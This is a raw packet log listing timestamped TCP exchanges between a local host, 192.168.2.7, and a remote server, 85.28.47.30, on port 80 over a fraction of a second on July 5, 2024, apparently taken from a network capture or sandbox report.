Jul 5, 2024 06:23:02.089704037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089709044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089746952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089752913 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.089756012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089765072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089770079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089786053 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.089811087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089811087 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.089886904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.089900017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.089929104 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.096354008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096421003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096425056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096430063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096436024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096440077 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.096470118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.096477032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096491098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096498013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096503973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096510887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.096538067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096580029 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.096580029 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.096589088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096595049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096638918 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.096669912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096674919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096687078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096693039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096698999 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096704960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096741915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.096785069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.096889019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096944094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.096990108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.096996069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097002983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097007990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097016096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097022057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097028017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097033978 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.097060919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097067118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097074986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097076893 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.097085953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097094059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097105026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097117901 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.097136021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097143888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097143888 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.097152948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097152948 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.097165108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.097192049 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.097213030 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100500107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100575924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100581884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100594997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100598097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100600004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100614071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100620985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100629091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100635052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100637913 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100668907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100675106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100681067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100698948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100698948 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100707054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100713015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100718975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100724936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100739956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100754976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100759983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100778103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100779057 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100785017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100816965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100843906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100847006 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100851059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100864887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100871086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100888014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100898981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100914955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100925922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100954056 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100965023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100972891 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.100980043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100987911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.100999117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101003885 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101005077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101035118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101042032 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101046085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101053953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101064920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101100922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101115942 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101138115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101188898 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101188898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101243973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101249933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101286888 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101286888 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101330042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101336956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101345062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101350069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101356983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101381063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101387978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101399899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101407051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101412058 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101412058 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101438046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101444960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101455927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101459980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101495981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101897001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101902008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101970911 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.101985931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.101993084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.102009058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.102015972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.102022886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.102035999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.102070093 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.102070093 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.102099895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.102154016 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.172326088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.172333956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.172344923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.172349930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.172354937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.172360897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.172369003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.172379017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.172420025 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.172501087 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.183422089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183425903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183437109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183443069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183450937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183456898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183476925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183489084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183501005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183506012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183511019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183512926 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.183553934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183558941 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.183562040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183571100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183600903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.183604956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.183604956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.183643103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.183643103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190149069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190196037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190201998 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190244913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190252066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190264940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190264940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190270901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190299988 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190305948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190311909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190318108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190325022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190331936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190356016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190361977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190365076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190371037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190377951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190390110 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190403938 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190431118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190462112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190469027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190479040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190495014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190507889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190521002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190525055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190526009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190540075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190541029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190568924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190574884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190583944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190583944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190615892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190627098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190670967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190670967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190690994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190706015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190712929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190723896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190732956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190738916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190753937 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190779924 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190795898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190812111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.190813065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190885067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.190901041 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194067955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194111109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194114923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194134951 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194164038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194170952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194176912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194181919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194227934 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194246054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194252014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194257021 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194267035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194273949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194282055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194287062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194292068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194299936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194324017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194339991 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194358110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194374084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194380045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194391966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194401979 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194402933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194446087 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194468975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194474936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194488049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194525957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194529057 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194529057 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194530964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194595098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194674015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194678068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194689035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194694996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194700956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194714069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194719076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194725037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194727898 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194732904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194740057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194746017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194792032 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194792032 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194793940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194811106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194863081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194869995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194871902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194875956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.194924116 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.194924116 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.195130110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195144892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195152044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195157051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195163012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195169926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195178986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195184946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195192099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195195913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195209026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195214987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195221901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195230961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195230007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.195230007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.195230961 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.195250988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.195297956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.195702076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195708036 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195722103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195779085 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.195779085 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.195791960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195797920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195805073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195815086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.195838928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.195858955 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.266122103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.266133070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.266139984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.266144037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.266150951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.266155958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.266168118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:02.266197920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.266269922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:02.277151108 CEST	80	49699	85.28.47.30	192.168.2.7
